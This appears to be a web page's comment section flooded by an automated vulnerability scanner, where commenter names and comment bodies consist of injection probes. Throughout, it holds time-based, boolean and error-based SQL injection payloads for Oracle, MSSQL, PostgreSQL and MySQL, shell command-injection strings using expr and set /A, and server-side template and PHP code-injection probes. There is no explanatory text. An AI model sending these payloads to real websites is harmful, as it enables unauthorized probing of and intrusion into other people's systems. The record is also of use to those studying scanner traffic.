123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',3)='g

123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',0)='y

123456 says:

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('m',3)

123456 says:

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('t',0)

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:3

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(3))>0/**/

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456 says:

123456"and(select*from(select+sleep(3))a/**/union/**/select+1)="

123456 says:

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456 says:

123456'and(select*from(select+sleep(3))a/**/union/**/select+1)='

123456 says:

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456 says:

(select*from(select+sleep(3)union/**/select+1)a)

123456 says:

(select*from(select+sleep(0)union/**/select+1)a)

123456 says:

123456"and"r"="s

123456 says:

123456"and"r"="r

123456 says:

123456'and's'='o

123456 says:

123456'and'u'='u

123456 says:

123456/**/and+4=7

123456 says:

123456/**/and+4=4

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',3)='c says:

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l says:

123456

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('r',3) says:

123456

123456 says:

123456'"\(

123456 says:

expr 805199426 + 861720095

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('m',0) says:

123456

123456 says:

123456鎈'"\(

123456 says:

123456&set /A 944293296+932024644

123456'and(select+1)>0waitfor/**/delay'0:0:3 says:

123456

123456 says:

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1235769108')))>'0

123456'and(select+1)>0waitfor/**/delay'0:0:0 says:

123456

123456 says:

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1866343729')))

123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/ says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ says:

123456

123456 says:

123456/**/and/**/cast(md5('1550749738')as/**/int)>0

123456 says:

123456$(expr 920303919 + 943530100)

123456 says:

123456'and(select'1'from/**/cast(md5(1541336052)as/**/int))>'0

123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0 says:

123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 says:

123456

123456 says:

extractvalue(1,concat(char(126),md5(1339261181)))

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ says:

123456

123456 says:

123456"and/**/extractvalue(1,concat(char(126),md5(1361647498)))and"

123456 says:

123456'and/**/extractvalue(1,concat(char(126),md5(1133224445)))and'

123456'"\( says:

123456

123456鎈'"\( says:

123456

'-var_dump(md5(391509899))-' says:

123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1283591171')))>'0 says:

123456

${@var_dump(md5(903183214))}; says:

123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1408487634'))) says:

123456

123456/**/and/**/cast(md5('1038759783')as/**/int)>0 says:

123456

123456'and(select'1'from/**/cast(md5(1084654723)as/**/int))>'0 says:

123456

123456 says:

<%- 837872363+888164237 %>

extractvalue(1,concat(char(126),md5(1558458712))) says:

123456

123456 says:

#set($c=802470103+817222215)${c}$c

123456"and(select*from(select+sleep(3))a/**/union/**/select+1)=" says:

123456

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" says:

123456

123456 says:

${(954013720+848667118)?c}

123456'and(select*from(select+sleep(3))a/**/union/**/select+1)=' says:

123456

123456 says:

${988924102+835006262}

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' says:

123456

123456 says:

/*1*/{{817222171+933772228}}

<%- 918518046+901933021 %> says:

123456

(select*from(select+sleep(3)union/**/select+1)a) says:

123456

123456 says:

123456 expr 967028024 + 918102121

#set($c=983729111+923549188)${c}$c says:

123456

expr 917721859 + 897291267 says:

123456

(select*from(select+sleep(0)union/**/select+1)a) says:

123456

123456 says:

123456

${(973473802+988081621)?c} says:

123456

123456&set /A 964666089+995774297 says:

123456

${921512224+959989103} says:

123456

123456$(expr 865073257 + 885865505) says:

123456

123456 says:

123456

123456|expr 802724826 + 859678411 says:

123456

123456 says:

123456

/*1*/{{924758047+824636166}} says:

123456

${840525455+990411420} says:

123456

123456"and"s"="k says:

123456

123456 expr 818929687 + 804842583 says:

123456

123456"and"u"="u says:

123456

123456 says:

'-var_dump(md5(146602062))-'

123456 says:

${966143245+966778061}

123456'and'z'='g says:

123456

123456 says:

${@var_dump(md5(166304013))};

123456"and/**/extractvalue(1,concat(char(126),md5(1778153173)))and" says:

123456

123456'and'n'='n says:

123456

123456/**/and+0=6 says:

123456

123456 says:

123456

123456/**/and+4=4 says:

123456

vyqaaredvbymnkepqaks says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

vyqaaredvbymnkepqaks

123456'and/**/extractvalue(1,concat(char(126),md5(1505631622)))and' says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456